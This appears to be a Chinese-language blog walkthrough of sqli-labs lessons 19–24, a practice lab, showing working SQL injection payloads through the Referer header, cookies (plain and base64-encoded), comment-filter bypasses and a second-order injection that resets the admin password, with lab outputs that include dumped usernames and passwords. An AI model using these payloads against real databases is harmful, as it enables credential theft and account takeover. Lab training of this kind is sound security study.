Less-19
與Less-18相同,只是漏洞在header的 Referer 裡面
報錯注入
爆值
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(( SELECT(SELECT CONCAT(CAST(CONCAT(username,0x3a,password) AS CHAR),0x7e)) FROM users LIMIT 0,1 ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
輸出內容:Duplicate entry 'Dumb:Dumb~1' for key 'group_key'
Less-20
單引號的cookie類型注入
這是正常登錄後的樣子
由源碼得知$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
查詢語句使用了cookee,我們將對cookie注入
正常的cookie是這樣子
Cookie: uname=admin;
檢查拼接方式
Cookie: uname=admin';
輸出內容:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' LIMIT 0,1' at line 1
由報錯得知,使用的是單引號拼接檢查表(users)的字段數
Cookie: uname=admin' order by 1--+ // order by id
Cookie: uname=admin' order by 2--+ // order by username
Cookie: uname=admin' order by 3--+ // order by password
Cookie: uname=admin' order by 4--+ // 4會報錯,所以確認這個表的字段數是3
輸出內容:Issue with your mysql: Unknown column '4' in 'order clause'
聯合盲注
爆庫
Cookie: uname=-admin' union select 1,2,database()--+
輸出內容:Your Password:security
其他的payload可以參考Less-1的結構,這是非常相似的問題,如:爆庫名
Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
輸出內容:Your Password:emails,referers,uagents,users
高級注入姿勢(Less 21-37)
Less-21
base64編碼的cookie注入,拼接方式單引號加括號
這是正常登錄後的樣子
uname = YWRtaW4= 顯然是base64加密,解碼出來是admin,就是你登錄的用戶名在查了php源碼後,你只需在你的payload做base64加密
註冊成功後5秒會跳回註冊頁
檢查注入點
1=1
明文
admin') and 1=1 --
注意:--後面有一個空白,這個空白也要做base64加密,這邊不能用--+
密文
YWRtaW4nKSBhbmQgMT0xIC0tIA==
1=0
明文
admin') and 1=0 --
密文
YWRtaW4nKSBhbmQgMT0wIC0tIA==
聯合盲注
爆表名
明文
-admin') union select 1,2,database() --
密文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIC0tIA==
輸出內容:Your Password:security
其他的不重複,注入完成
Less-22
和Less-21一樣,只是拼接方式從單引號加括號改成雙引號
聯合盲注
爆庫名
明文
-admin" union select 1,2,database() --
密文
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkgLS0g
輸出內容:Your Password:security
Less-23
和Less-1相比,源碼過濾了注釋符號,
$id=$_GET['id']; //filter the comments out so as to comments should not work $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
聯合盲注
爆庫名
?id=' union select 1,2,database() '
輸出內容:Your Password:security
爆表名
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
輸出內容:Your Password:emails,referers,uagents,users
爆字段
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() or '1'= '
輸出內容:Your Password:id,username,password
爆值
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
輸出內容:
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin
Less-24
一個經典的二次注入場景,原本用戶表的內容如下
用戶admin的密碼是admin,但是我們不知道他的密碼,目標是獲取用戶admin的權限第一步
註冊一個用戶名叫 admin'# 的用戶,密碼password
http://sqlilabs.bt/Less-24/new_user.php註冊後用戶表的內容如下
第二步
登錄剛剛註冊的用戶(admin'#),然後修改密碼成123456,這時候用戶admin的密碼會被改成123456
http://sqlilabs.bt/Less-24/logged-in.php
http://sqlilabs.bt/Less-24/logged-in.php
執行的SQL語句將會是
UPDATE users SET passwd="123456" WHERE username ='admin' # 'AND password='password'
http://sqlilabs.bt/Less-24/pass_change.php修改密碼後用戶表的內容如下
沒有留言:
張貼留言